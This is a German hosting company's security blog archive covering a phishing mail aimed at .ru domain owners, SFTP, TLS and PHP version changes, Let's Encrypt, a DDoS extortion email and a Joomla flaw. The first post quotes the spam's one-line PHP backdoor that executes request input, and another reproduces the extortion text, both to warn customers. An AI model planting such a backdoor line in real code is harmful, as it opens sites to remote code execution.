Archive for the ‘Sicherheit’ Category

Gefährlicher Spam an Inhaber von .ru-Domains

Montag, August 7th, 2017

Wir erhielten heute von einem Kunden eine betrügerische Spam-Mail zur Prüfung, die momentan an Inhaber von .ru-Domains versendet wird. Diese stammt vorgeblich von der Registrierungsstelle RU-CENTER und enthält die Aufforderung, eine PHP-Datei mit folgendem Inhalt auf dem Webserver anzulegen:

<?php
 assert(stripslashes($_REQUEST[RUCENTER]));
 ?>

Dieser PHP-Befehl würde es Angreifern ermöglichen, beliebige PHP-Befehle auf dem Webserver auszuführen, so könnten beispielsweise Webseiten verändert oder Spam versendet werden.

Es gibt tatsächlich Dienste, bei denen es erforderlich ist, einen bestimmten Code auf die eigene Webseite einzufügen – zum Beispiel um bestimmte Funktionen zu ermöglichen oder die Inhaberschaft einer Domain zu validieren, z.B. die Google Webmaster Tools, Piwik und viele mehr. Sie bekommen eine entsprechende Nachricht aber nur dann, wenn Sie diesen Dienst explizit nutzen wollen und sich dort angemeldet haben. In der Regel versenden diese Dienste auch keine E-Mail, sondern der einzufügende Code wird Ihnen beim Anmeldeprozess angezeigt. Zudem handelt es sich in solchen Fällen auch nie um PHP-Befehle. Wenn Sie eine solche E-Mail unaufgefordert erhalten, handelt es sich fast immer um Spam.

Wir sind froh, dass der Kunde sich an uns gewandt hat und können nur alle Kunden ermuntern, im Zweifelsfall lieber nachzufragen.

SFTP für virtuelle FTP-Benutzer

Donnerstag, Januar 26th, 2017

Bisher konnten virtuelle FTP-Benutzer nur unverschlüsselte FTP-Verbindungen und kein verschlüsseltes SFTP nutzen, dies war nur für den FTP-Hauptbenutzer möglich. Da unverschlüsselte FTP-Verbindungen aus Sicherheitsgründen nicht mehr benutzt werden sollten, bieten wir ab sofort SFTP auch für virtuelle FTP-Benutzer über den TCP-Port 2222 an. Für weitere Informationen beachten Sie bitte den zugehörigen FAQ-Artikel.

Hintergründe

Der SFTP-Dienst wurde bisher nicht mittels des von uns für FTP-Verbindungen genutzten Dienstes ProFTPD realisiert, sondern über den SSH-Dienst OpenSSH, der im Gegensatz zu ProFTPD keine virtuellen Benutzer unterstützt. ProFTPD unterstützt zwar grundsätzlich auch SFTP-Verbindungen, allerdings kann OpenSSH nicht einfach durch ProFTPD ersetzt werden, da OpenSSH noch weitere Funktionen wie z.B. eine Login-Shell bereit stellt, auf die wir nicht verzichten können. Weiterhin war die SFTP-Unterstützung in ProFTPD in der Vergangenheit noch sehr fehlerbehaftet, es kam z.B. häufig zu Problemen beim Verbindungsaufbau. In der aktuellen ProFTPD-Version sind diese Fehler jedoch weitgehend behoben, so dass einem Produktiveinsatz nun nichts mehr im Wege steht.

Um SFTP für virtuelle FTP-Benutzer zu realisieren, nutzen wir den TCP-Port 2222, da der Standard-Port 22 bereits vom SSH-Dienst belegt ist. Sie können SFTP-Verbindungen sowohl für den FTP-Hauptbenutzer als auch für alle virtuellen Benutzer über diesen Port nutzen (der FTP-Hauptbenutzer kann jedoch auch weiter den Standard-Port 22 für SFTP nutzen).

Änderung unserer SSL-Konfiguration (Deaktivierung Triple-DES)

Mittwoch, August 24th, 2016

Durch eine heute bekannt gewordene Sicherheitslücke in der Verschlüsselungsmethode Triple-DES, die von sehr alten Browsern für SSL-Verbindungen zu unseren Webservern genutzt wird, nehmen wir morgen im Laufe des Tages eine Konfigurationsänderung an allen Servern vor.

Die Änderung hat zur Folge, dass Nutzer, die die Kombination aus Windows XP und dem Internet Explorer 8 verwenden, keine verschlüsseleten Webseiten (https://…) mehr aufrufen können. Da sowohl Windows XP, als auch der Internet Explorer 8 seit vielen Jahren nicht mehr aktualisiert werden und demnach nicht mehr genutzt werden sollten, dürften die praktischen Auswirkungen der Änderungen sehr gering sein.

Das Problem tritt nur im Internet Explorer 8 unter Windows XP auf; andere Browser unter Windows XP können die Seiten weiterhin problemlos aufrufen.

 

PHP 5.5 End of Life

Freitag, Juli 22nd, 2016

Mit der gestern (21.07.) veröffentlichten PHP-Version 5.5.38 wird die Unterstützung des Versionszweiges 5.5 von den PHP-Entwicklern eingestellt, es wird keine weiteren Updates (z.B. wegen Sicherheitslücken) für diese PHP-Version mehr geben. Wir empfehlen daher allen Kunden, die gegenwärtig noch PHP 5.5 nutzen, auf die neueren PHP-Versionen 5.6 oder 7.0 zu wechseln. Beim Wechsel von PHP 5.5 auf 5.6 treten nur in sehr selten Fällen Kompatibiltätsprobleme auf, da es keine großen Unterschiede zwischen beiden Versionen gibt. Bei PHP 7.0 wurden viele veraltete Bibliotheken und Funktionen entfernt, so dass hier häufiger Kompatibilitätsprobleme auftreten. Die PHP-Versionen 5.6 und 7.0 werden noch bis Ende 2018 mit regelmäßigen Sicherheitsupdates versorgt.

Sie können die auf Ihrem Webserver standardmäßig genutzte PHP-Version mittels SSH über den Shell-Befehl php -v oder der PHP-Funktion phpinfo() ermitteln. Mittels dieser Funktion können Sie auch prüfen, ob die Umstellung Ihrer Webseite auf eine andere PHP-Version erfolgreich war. Erstellen Sie dazu im gewünschen Webspace-Verzeichnis eine Textdatei mit der Endung .php (z.B. info.php) und dem Inhalt <?php phpinfo(); ?> und rufen diese Datei dann über Ihren Web-Browser auf (z.B. www.domain.de/info.php).

Eine Anleitung zum Wechsel der PHP-Version finden Sie hier. Falls Sie PHP-FPM nutzen, können Sie diese PHP-Version nicht selbst ändern, wenden Sie sich in diesem Fall bitte an unsere Kundenbetreuung.

Aufgrund möglicher Kompatibilitätsprobleme können wir die standardmäßig genutzte PHP-Version auf dem Webservern nicht einfach auf 5.6 oder 7.0 umstellen, da in diesem Fall bestehende Webseiten unter Umständen nicht mehr funktionieren.

Beginn der Let’s Encrypt Testphase

Montag, Mai 23rd, 2016

Wie angekündigt beginnt ab heute (23.05.2016) die Testphase für Let’s Encrypt-Zertifikate auf unseren Webservern.

Während der Testphase kann in jedem Webhosting-Paket ein Let’s Encrypt-Zertifikat (gültig für eine Domain sowie auf Wunsch eine zusätzliche Subdomain wie z.B. www) kostenfrei genutzt werden. Reseller können in der Testphase für ihre Hosting-Kunden insgesamt bis zu 10 Let’s Encrypt-Zertifikate erhalten. Die Einrichtung der Zertifikate ist während der Testphase noch nicht über unser Kundenmenü möglich, bitte wenden Sie sich dazu an unsere Kundenbetreuung.

Nach Ablauf der Testphase bleiben Ihre Zertifikate erhalten, wir planen in jedem Webhosting-Paket für unsere Endkunden mindestens ein Let’s Encrypt-Zertifikat ohne Mehrkosten anbieten, die dann einfach über unser Kundenmenü eingerichtet werden können. Reseller werden je nach Paket eine bestimmte Anzahl an Inklusiv-Zertifikaten erhalten.

Voraussetzung für die Ausstellung von Let’s Encrypt-Zertifikaten ist die Nutzung unserer Nameserver. Die Zertifikate gelten weiterhin nur auf unseren Webservern, falls Sie eine Domain per DNS A-Record auf Webserver von einem anderen Anbieter weiterleiten, müssen Sie ein SSL-Zertifikat bei diesem Anbieter beauftragen.

Weiterhin unterstützt Let’s Encrypt gegenwärtig keine Domain-Namen mit Sonderzeichen (IDN).

Tipp: In unseren FAQ finden Sie eine Anleitung, wie Sie nach Einrichtung des Zertifikats alle unverschlüsselten HTTP-Aufrufe auf HTTPS umleiten können.

Unterschiede zwischen Let’s Encrypt- und Comodo-Zertifikaten

Wir haben auf unseren Webservern bisher ausschließlich SSL-Zertifikate der Firma Comodo genutzt. SSL-Zertifikate dienen nicht nur zur Verschlüsselung, sondern weisen auch den Inhaber einer Domain verbindlich aus. Zur Überprüfung der Inhaberschaft gibt es unterschiedliche Verfahren:

  • Das einfachste Verfahren ist die Domain-Validierung, dabei prüft die Zertifizierungstelle mittels automatisierter technischer Vefahren, ob der Inhaber der Domain mit dem des Zertifikats übereinstimmt. Dies kann beispielsweise über spezielle DNS-Einträge erfolgen, die nach Vorgabe der Zertifizierungstelle angelegt werden müssen, und dann von dieser automatisch überprüft werden. Bei Domain-validierten Comodo-Zertifikaten übernehmen wir selbst die Prüfung der Inhaberangaben.
  • Ein besseres Verfahren ist die Inhaber- bzw. Organisations-Validierung, dazu muss der Besitzer einer Domain sich bei der Zertifizierungstelle (z.B. mittels Personalausweiskopie bei Privatpersonen oder Handelsregisterauszug bei Firmen) ausweisen, und diese Daten werden dann mit den im Whois der Domain hinterlegten Inhaberdaten verglichen. Im Zertifikat wird der Inhaber dann im Feld Organisation hinterlegt, während dieses Feld bei Domain-validierten Zertifikaten leer bleibt. Zusätzlich erfolgt eine telefonische Validierung des Inhabers durch die Zertifizierungsstelle.
    Wir empfehlen Unternehmen, Inhaber-validierte Zertifikate zu nutzen, da bei Domain-validierten Zertifikaten ein Missbrauch durch Angabe falscher Inhaber-Informationen viel einfacher möglich ist. Inhaber-validierte Zertifikate sind in der Wahrnehmung der meisten Nutzer seriöser und vertrauenswürdiger.
  • Eine besonders strenge Prüfung erfolgt bei sogenannten Extended Validation Zertifikaten, die sich für hohe Sicherheitsanforderungen empfehlen. Bei diesen wird der Inhaber des Zertifikats in der Bowser-Adresszeile grün hinterlegt angezeigt (vgl. www.variomedia.de), allerdings sind diese Zertifikate auch besonders teuer.

Let’s Encrypt Zertifikate sind ausschließlich Domain-validiert, eine Inhaber-Validierung ist nicht möglich.

Ein weiterer Unterschied besteht bei der Einbindung der Zertifikate auf den Webservern: Auf unseren Webservern verwenden wir (wie alle Shared-Hosting-Anbieter) das sogenannte namensbasierte Virtual Hosting, dabei nutzen alle Domains auf einem Webserver die gleiche IPv4-Adresse, und der Webserver ordnet einer Domain anhand des vom Browser gesendeten HTTP Host-Headers eine Webseite zu. Bei Domains mit SSL-Zertifikaten war es jedoch bis vor wenigen Jahren noch nicht möglich, mehrere Zertifikate unter der gleichen IP-Adresse zu nutzen, daher erhält jedes Comodo-Zertifikat aus technischen Gründen immer eine eigene IPv4-Adresse, die dann zusätzlich auf dem Webserver eingerichtet wird.

Für Let’s Encrypt-Zertifikate können wir jedoch keine eigenen IPv4-Adressen mehr vergeben, denn dafür stehen uns nicht genügend ungenutzte IPv4-Adressen zur Verfügung. Mittlerweile gibt es jedoch mittels SNI die Möglichkeit, beliebig viele SSL-Zertifikate unter einer IP-Adresse zu nutzen, allerdings wird dieses Verfahren von älteren Browsern (z.B. Internet Explorer 6) und Betriebssystemen (z.B. Windows XP, Android 2.4) nicht unterstützt. Es kann daher mit Let’s Encrypt-Zertifikaten bei älteren PCs, Smartphones oder Tablets zu Problemen kommen.

Hinsichtlich der Verschlüsselung gibt es jedoch keine Unterschiede zwischen Let’s Encrypt- und Comodo-Zertifikaten, unsere Webserver erfüllen alle modernen Standards wie TLS Version 1.2, (EC)DHE-Schlüsselaustausch (Perfect Forward Secrecy) und AES-Verschüsselung (SSL Labs Note A+ bei gesetztem HSTS-Header).

Update vom 01.02.2017: Die Testphase ist jetzt beendet. Bitte beachten Sie folgenden Blog-Beitrag: Let’s Encrypt-Zertifikate jetzt offiziell erhältlich

Kostenlose Let’s Encrypt Zertifikate bei Variomedia

Dienstag, Mai 17th, 2016

Wie bereits angekündigt, wird es bald möglich sein, über uns kostenlose SSL-Zertifikate von Let’s Encrypt auf den Webservern zu beauftragen.

Wir haben die dafür nötigen Technologien und Methoden implementiert und werden voraussichtlich ab dem 23.05. zunächst eine Testphase für interessierte Kunden anbieten, um eventuell noch auftretende Probleme bei der automatischen Erstellung und Validierung von Zertifikaten zu beseitigen.

In der Testphase können SSL-Zertifikate auf Wunsch durch unsere Kundenbetreuung installiert werden, genauere Details zum Ablauf werden wir nächste Woche bekannt geben. Sobald alles zuverlässig funktioniert, können SSL-Zertifikate später einfach per Mausklick im Kundenmenü eingerichtet werden.

Wir planen, in jedem unserer Webhosting-Pakete zukünftig mindestens ein kostenloses SSL-Zertifikat anzubieten, das für eine Domain sowie die zugehörige www-Subdomain gilt.

Erpresser drohen Webseiten mit DDoS-Angriffen

Dienstag, März 29th, 2016

Seit einigen Tagen versenden Erpresser massenhaft E-Mails an Webseiten-Betreiber, in denen mit einem massiven DDoS-Angriff gedroht wird, falls diese nicht 3 Bitcoins (etwa 1200€) zahlen. Auch einige unserer Kunden haben eine solche Drohung erhalten. Es gibt bisher jedoch keine Hinweise auf tatsächlich erfolgte DDoS-Angriffe, wir halten diese Drohung daher für einen Bluff. Sie sollten nicht zahlen.

Die E-Mail lautet wie folgt:

Betreff: DDOS ATTACK !
Von: RedDoor <Reddoor@openmailbox.org>

Hello,

You are going under DDoS attack unless you pay 3 Bitcoin.
Pay to **********************************
       
Please note that it will not be easy to mitigate our attack, because our current UDP flood power is 400-500 Gbps.

Don't worry, it will not be hard (we will try not to crash it at this moment) and will stop in 10 minutes. It's just to prove that we are serious.We
are aware that you probably don't have 3 BTC at the moment, so we are giving you 24 hours to get it and pay us.
Find the best exchanger for you on howtobuybitcoins.info or localbitcoins.com You can pay directly through exchanger to our BTC address,
you don't even need to have BTC wallet. Current price of 1 BTC is about 415 USD, so we are cheap, at the moment. But if you ignore us,
price will increase.
IMPORTANT: You don't even have to reply. Just pay 3 BTC to **********************************
- we will know it's you and you will never hear from us again. We say it because for big companies it's usually the problem as they don't
want that there is proof that they cooperated.
If you need to contact us, feel free to use some free email service.
But if you ignore us, and don't pay within 24 hours, long term attack will start, price to stop will go to 10 BTC and will keep increasing for
every hour of attack.
Many of our "clients" believe that if they pay us once, we will be back.
That's not how we work - we never attack the same target after we are paid.
If you are thinking about reporting this to authorities, feel free to try. But it won't help. We are not amateurs.
REMEMBER THIS: It's a one-time payment. Pay and you will not hear from us ever again!
We do bad things, but we keep our word.
Thank you.

Schwere Sicherheitslücke in allen Joomla-Versionen

Donnerstag, Dezember 17th, 2015

Am 14. Dezember wurde eine schwere Sicherheitslücke in allen Versionen des beliebten Content-Management-Systems Joomla bekanntgegeben, die es Angreifern ermöglicht, beliebigen PHP-Code auszuführen. Diese Sicherheitslücke wurde bereits 2 Tage zuvor ausgenutzt, um über automatisierte Scripte massenhaft Joomla-Installationen mit Schadcode zu infizieren.

Wir haben nach Veröffentlichung der Details am Abend des 14. Dezember unsere Webserver-Firewall angepasst, um die uns bekannten automatisieren Angriffe zu unterbinden, doch einen Schutz vor neuartigen Angriffen auf diese Sicherheitslücke gibt es nicht. Sofern Sie eine Joomla-Installation auf unseren Webservern nutzen, sollten Sie daher unverzüglich die bereitgestellten Updates installieren.

Joomla Version 3.x lässt sich über den integrierten Updater auf die neue Version 3.4.6 aktualisieren. Für die älteren Versionen 1.5 und 2.5 stehen Updates für die betroffene Datei „libraries/joomla/session/session.php“ bereit, die manuell per (S)FTP bzw. SSH installiert werden müssen.

Update

Die Sicherheitslücke lässt sich nur in Zusammenhang mit einem Bug in älteren PHP-Versionen ausnutzen. Betroffen ist bei uns nur PHP 5.3, für das es seit längerer Zeit keine Sicherheitsupdates mehr gibt. Die für Ihre Webseite benutzte PHP-Version können Sie über eine PHP-Datei mit folgender Zeile ermitteln:
<?php phpinfo();?>